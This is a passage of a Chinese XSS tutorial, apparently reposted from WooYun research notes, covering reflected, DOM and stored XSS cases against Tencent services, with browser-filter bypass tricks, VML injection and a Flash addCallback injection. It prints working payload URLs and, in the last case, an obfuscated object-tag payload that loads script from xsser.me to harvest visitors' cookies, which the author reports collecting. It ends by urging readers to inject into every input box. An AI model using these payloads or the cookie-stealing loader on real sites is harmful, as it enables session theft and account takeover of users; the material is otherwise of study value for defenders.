  • 由于在XML的节点属性里,双引号写为 &quot; , <menu name="日 志" href="构造点\&quot;))}catch(e){alert(1)}//构造点" />

再次上传文件。打开

http://imgcache.qq.com/qzone_v4/2/default_menu_horizontal.swf?xml_path=http://itsokla.duapp.com/custom_menu.xml

点击日志,看看效果。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

XSS Filter Bypass

17. XSS过滤器绕过 [通用绕过]

关于反射型的基本东西,暂时就到这啦,如果后面有什么好的case,再做增补。最近,有些人会问到怎么绕过浏览器的XSS过滤器,所以从这节开始,给出点绕过的例子。

当然这些绕过浏览器的方法,不是万能的。不同浏览器,不同场景都会存在差异。满足场景要求时,才可以使用。

IE的一些绕过见乌云上的 @gainover,@sogili 的例子,我们教程就不再提及了。

此文给出的是一个来自sogili分享的chrome下绕过过滤器的方法,在腾讯某处XSS上的应用。

这一类都算是“结合了一定场景”,绕过了浏览器自身的防御机制,具有一定的通用性,我们称为“通用绕过”(瞎起的名字,别在意)。

但是在后续版本的浏览器中,这些技巧可能会被浏览器干掉从而失效。再次强调:通用不是全部都行,意思是所适用的场景实际发生的概率比较高!

漏洞点

> http://bangbang.qq.com/php/login?game=roco&uin="><img src=1 onerror=alert(1)>&world=5&roleid=44583443&level=8&role=%2
>

uin参数没有对任何字符进行过滤。

正是由于这个点什么都没过滤,浏览器自身的防御机制也最好发挥作用,瞧瞧,chrome拦截了。。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

有的新手,不知道有过滤器的,更是会觉得 “啊,这是怎么回事,怎么不行啊,明明可以的。。”

我们只要看到console里有上面那句,就说明 chrome的过滤器大发神威了!!

看看源码

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

危害部分被和谐了。

那么怎么绕过呢? 这里直接说方法。

首先要求缺陷点,允许 < , > 。其次,要求缺陷点的后方存在 </script> 标签。 我们看看当前的这个点的代码。

> ...
<input type="hidden" id="sClientUin" value=""><img src=1 onerror=alert(1)>">
...
<script type="text/javascript" src="http://pingjs.qq.com/tcss.ping.js"></script>
...
>

可以看到上面的要求均满足。我们就可以使用以下技巧。

> <script src=data:,alert(1)<!--
>

代入到我们的利用代码里。

> http://bangbang.qq.com/php/login?game=roco&uin="><script src=data:,alert(1)<!--&world=5&roleid=44583443&level=8&role=%2
>

这次,我们就成功啦。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

18. XSS过滤器绕过 [猥琐绕过]

有些时候,通用的绕过技巧并不可行,这个时候我们就得观察缺陷点的周围环境,想想其它办法咯。“猥琐绕过”与通用绕过不同的是,它通用性小,往往只是特例。

漏洞点:

> http://qzs.qq.com/qzone/v6/custom/custom_module_proxy.html#siDomain=1&g_StyleID=aaaaaaaaaa
>

一个DOM XSS

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

看看源码:

> ....
var siDomain = paras['siDomain'],
	g_StyleID = paras['g_StyleID'].replace("v6/","");
	if(siDomain.indexOf(".qq.com")>-1){//防止qzs.qq.com
		siDomain = paras['siDomain'] = "qzonestyle.gtimg.cn";
	}
	document.write('<link href="http://'+siDomain+'/qzone_v6/gb/skin/'+g_StyleID+'.css" rel="stylesheet" /><link href="http://'+siDomain+'/qzone_v6/home_normal.css" rel="stylesheet" />');
...
>

siDomaing_StyleID 都是地址栏里获取过来,然后通过document.write输出到页面中。

利用先前教程的知识,我们不难构造出利用代码。

> http://qzs.qq.com/qzone/v6/custom/custom_module_proxy.html#siDomain=1&g_StyleID="><script>alert(document.cookie)</script>
>

IE下成功弹出

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

但是到了chrome下,又被拦截了。。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

并且,因为这里接受地址栏的参数时,是以 “=” 分割,因而我们的代码中是不允许携带 等号的。故上一篇的技巧不能拿到这里来使用了!

chrome拦截,是有一定的拦截规则的,只有它觉得是恶意代码的才会去拦截。这个时候,就需要我们“观察地形”啦!!

我们仔细看看这句。

> g_StyleID = paras['g_StyleID'].replace("v6/","");
>

这里会对g_StyleID进行一次替换,将 v6/ 替换为空。那么如果我们的 g_StyleID 写为下面的情况

> <scrv6/ipt>alert(document.cookie)</script>
>

替换后 <script>alert(document.cookie)</script> 能够正常执行,但是Chrome又不会觉得它是恶意代码了。

> http://qzs.qq.com/qzone/v6/custom/custom_module_proxy.html#siDomain=1&g_StyleID="><scv6/ript>alert(document.cookie)</script>
>

成功绕过

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

存储型XSS

一般来说,存储型XSS也是危害最大的XSS

19. 存储型XSS入门 [什么都没过滤的情况]

存储型和反射型相比,只是多了输入存储、输出取出的过程。简单点说:

反射型是:输入–输出;

存储型是:输入–进入数据库*–取出数据库–输出。

这样一来,大家应该注意到以下差别:

反射型是:绝大部分情况下,输入在哪里,输出就在哪里。

存储型是:输入在A处进入数据库, 而输出则可能出现在其它任何用到数据的地方。

反射型是:输入大部分位于地址栏或来自DOM的某些属性,也会偶尔有数据在请求中(POST类型

存储型是:输入大部分来自POST/GET请求,常见于一些保存操作中

因而我们找存储型的时候,从一个地方输入数据,需要检测很多输出的点,从而可能会在很多点发现存储型XSS。

至于如何根据输出来构建存储型XSS的代码,和反射型没有任何区别,都是看输出的上下文来进行.

从程序员过滤代码的角度来讲,我们给之后的教程走向分个类:

  1. 数据需要过滤,但是未过滤。导致XSS.

    比如:昵称、个人资料。

  2. 业务需求使得数据只能部分过滤,但过滤规则不完善,被绕过后导致XSS。

    比如:日志、邮件及其它富文本应用。

    本节先看一个最基本的情况,该过滤,但是什么都没过滤的情况。

(数据库:不一定是像 mysql 那样的数据库,只要是能存储数据的都算。)

找存储型的时候,需要有一颗多疑的心,一双善于发现的眼睛。我们来看看实例!

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

这个时候,我们就会想,这个发上来的页面会不会有XSS呢?

我们来看看页面的结构。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

很多新手在找XSS的时候,都是拿着 <script>alert(1)</script> 或者其它到处测试,很盲目不是吗?

一定要记住本节最开头的话,存储型XSS,输出的位置不一定出现在输入的位置。

因而我们有时候需要逆向的思维,来寻找存储型XSS。 大概思路如下:

先找到输出点,然后猜测此处输出是否会被过滤。

如果觉得可能没过滤,我们再找到这个输出是在哪里输入的。

接着开始测试输入,看输出的效果。

如果没过滤,那么你就成功了,否则你可以放弃掉它。

拿本例来说明以上过程,

我们猜测昵称这个输出没过滤。

找到输入点,这个输入点,就是修改QQ昵称。

开始测试

通过WEBQQ修改昵称如下:(方法见: WooYun: PKAV腾讯专场 - 3. 腾讯QQ客户端某处功能页面存储型XSS )

使用charles web proxy 拦截WEBQQ数据包,修改并提交。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

提交成功后:

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

我们拿小号进入一个群,发布一条手机QQ的语音。看输出效果,没过滤,成功了吧~~

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

拿xsser.me在某群的测试效果!

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

20. 存储型XSS入门 [套现绕过富文本]

很多应用含有富文本内容,这类应用最典型的特征是具有编辑器,例如:博客日志,邮箱等。这类应用往往允许使用一定的HTML代码。为了在用户体验和安全之间寻找平衡,各种厂商可能采用了不尽相同的办法。但是总体来说,有2类。

第1类我们称为白名单,即:只允许使用白名单内的合法HTML标签,例如IMG。其它均剔除。例如:百度贴吧回帖时候的代码过滤方式。

第2类我们称为黑名单,即:厂商会构建一个有危害的HTML标签、属性列表,然后通过分析用户提交的HTML代码,剔除其中有害的部分。 如:QQ邮箱的发邮件时的过滤方式。

白名单要安全得多,而黑名单的方式则经常会被绕过。

绕过的技巧也有很多,我们可以从最没技术含量的开始说起!! 本节将以QQ空间/QQ校友的日志功能为例来说明,什么是“套现绕过富文本”!

注意:本节说的“套现”,不是与“钱”有关的;在这里的含义是:“套用现成的XSS代码”。

新手平时测试XSS时,经常会用到 <script>alert(1)</script> 到处插入,看效果。

这种做法,在某些反射型XSS,或者你运气好的时候,确实能碰到。但是如果拿到QQ空间日志里去插入。嗯,后果一定会很悲壮,被过滤的毛都没有了。。

这是为什么呢?因为 <script> 在腾讯的黑名单中,被过滤是理所当然的。

试想,如果我们找到一个不在腾讯黑名单中的XSS代码,岂不是就可以成功在日志里执行XSS了么?

有的人会问了。。哪里去找啊?? 方法有2种:

http://html5sec.org/

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

然后我就开始按照下面的流程慢慢测试。

先进QQ空间,发表一个日志,然后编辑日志,同时抓包。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

修改抓包内容后,这里修改的是日志内容。提交修改后的数据包!

然后我们来看看日志里的源代码里,我们提交的XSS代码是否被过滤。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

这里我们就不说失败的了,直接说成功的部分。

我们提交以下代码:

> <vmlframe xmlns="urn:schemas-microsoft-com:vml" style="behavior:url(#default#vml);position:absolute;width:100%;height:100%" src="http://itsokla.duapp.com/shouzi.vml#xss"></vmlframe>
>

然后看看源代码的输出:

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

可以看到,这个XSS代码完全没过滤。

我们可以看到XSS的效果。鼠标移到日志上,即会触发XSS代码。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

很简单,对吧? 但是有以下问题我们要注意!!

  1. 使用代码前,先自己在本地试下,是否能执行!搞清楚你所使用的XSS代码的原理是什么!
  2. 搞清楚XSS代码的适用范围:如:在什么浏览器的什么版本之下才能使用,是否需要用户交互等。
  3. 注意平时对此类代码的搜集与整理。

21. 存储型XSS进阶 [猜测规则,利用Flash addCallback构造XSS]

有些时候,我们拿现成的XSS代码都不行,都被过滤了,那么需要我们对过滤的规则进行一定的判断与猜测。然后针对性的使用一些技巧来适应或者绕过规则。

在本例中,我们以QQ空间/QQ校友的日志功能为例,通过猜测简单的过滤规则,然后使用含有addCallback的flash,来实现了存储型XSS的构造。

前提:本例需在IE9,IE10下进行。

我们乌云上报告的一些已有案例,进行了再次测试。

WooYun: PKAV腾讯专场 - 6. (QQ空间+朋友网)日志功能存储型XSS

上例中,提到了QQ空间日志并未对object标签进行有效的过滤。

我们根据此例中的代码对过滤规则进行测试:

> <object width="100%" height="100%" align="middle" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" type="application/x-shockwave-flash"><PARAM NAME="Movie" VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAM NAME="Src" VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAM NAME="AllowScriptAccess" VALUE="always">
>

以上的代码,是可以正常提交,并且未过滤的。

> <object width="100%" height="100%" align="middle" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" type="application/x-shockwave-flash"><PARAM NAME="Movie" VALUE="http://mysite.com/vphoto.swf"><PARAM NAME="Src" VALUE="http://mysite.com/vphoto.swf"><PARAM NAME="AllowScriptAccess" VALUE="always">
>

而当swf的域名不是qzs.qq.com时候,代码将会被过滤为以下内容。

> <object width="100%" height="100%" align="middle" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" type="application/x-shockwave-flash"><PARAM NAME="AllowScriptAccess" VALUE="always">
>

即地址被去掉了。

那么我们已知了这个过滤规则, 就有2种绕过的方式。

找到一个qzs.qq.com域名下存在缺陷的FLASH,然后加以利用。

此方法,已经在 @gainover 的 WooYun: PKAV腾讯专场 - 6. (QQ空间+朋友网)日志功能存储型XSS 有所介绍了。

利用Flash的addcallback缺陷来构造存储型XSS。

首先说下flash addcallback方法的基本原理。

根据flash sdk 里的源代码,我们可以得到flash addcallback 的源代码中有以下代码。

> if ((((activeX == true)) && (!((objectID == null))))){
	_evalJS((((("__flash__addCallback(document.getElementById(\"" + objectID) + "\"), \"") + functionName) + "\");"));
};
>

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

其中objectID为调用FLASH的HTML标签的ID。functionName则为被JS所调用的函数名称。

当我们有以下代码时:

> <object id="aaaa" width="100%" height="100%" align="middle" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" type="application/x-shockwave-flash"><PARAM NAME="Movie" VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAM NAME="Src" VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAM NAME="AllowScriptAccess" VALUE="always">
>

http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf 中存在一句 ExternalInterface.addCallback("myfunc",funcInFlash); , 则有

> objectID="aaaa";
functionName="myfunc";
>

代入上面那句_evalJS中,则有

> __flash__addCallback(document.getElementById("aaaa"), "myfunc");
>

那么我们可以想象一下,如果 aaaa 替换为 aaaa"),alert(1),("

则上面代码变为

> __flash__addCallback(document.getElementById("aaaa"),alert(1),(""), "myfunc");
>

解析

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

且FLASH中,确实未对objectID做任何过滤。 基于以上内容,我们可以构建利用代码。

> <object id='aaaa"),alert(1),("' width="100%" height="100%" align="middle" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" type="application/x-shockwave-flash"><PARAM NAME="Movie" VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAM NAME="Src" VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAM NAME="AllowScriptAccess" VALUE="always">
>

我们自己用上面这段代码先在自己网站上测试下:

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

看,果然id里的代码被执行了!

利用以上原理,接着我们在QQ空间里来做测试,至于FLASH么,就是现成的!

虽然这个FLASH里没有缺陷,但是存在addCallback的调用,我们就可以直接用它。

> <object width="100%" height="100%" align="middle" id="xsstest1"),(function(){if(!window.__x){window.__x=1;window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,120,115,115,101,114,46,109,101,47,66,113,112,57,82,121);document.body.appendChild(window.s);}})(),("" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" type="application/x-shockwave-flash"><PARAM NAME="Movie" VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAM NAME="Src" VALUE="http://qzs.qq.com/qzone/client/photo/swf/vphoto.swf"><PARAM NAME="AllowScriptAccess" VALUE="always">
>

发布日志,使用以上代码

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

当用户访问含有XSS代码的日志后,我们可以在xsser.me查看所记录的cookies内容。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

仅IE9, 10 受影响。QQ空间/校友同时受影响。

反正……见框就插叭,广撒网,总能捡着洞的……


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Just My Type

Just My Type

Simon Garfield / Profile Books / 2010-10-21 / GBP 14.99

What's your type? Suddenly everyone's obsessed with fonts. Whether you're enraged by Ikea's Verdanagate, want to know what the Beach Boys have in common with easy Jet or why it's okay to like Comic Sa......一起来看看 《Just My Type》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码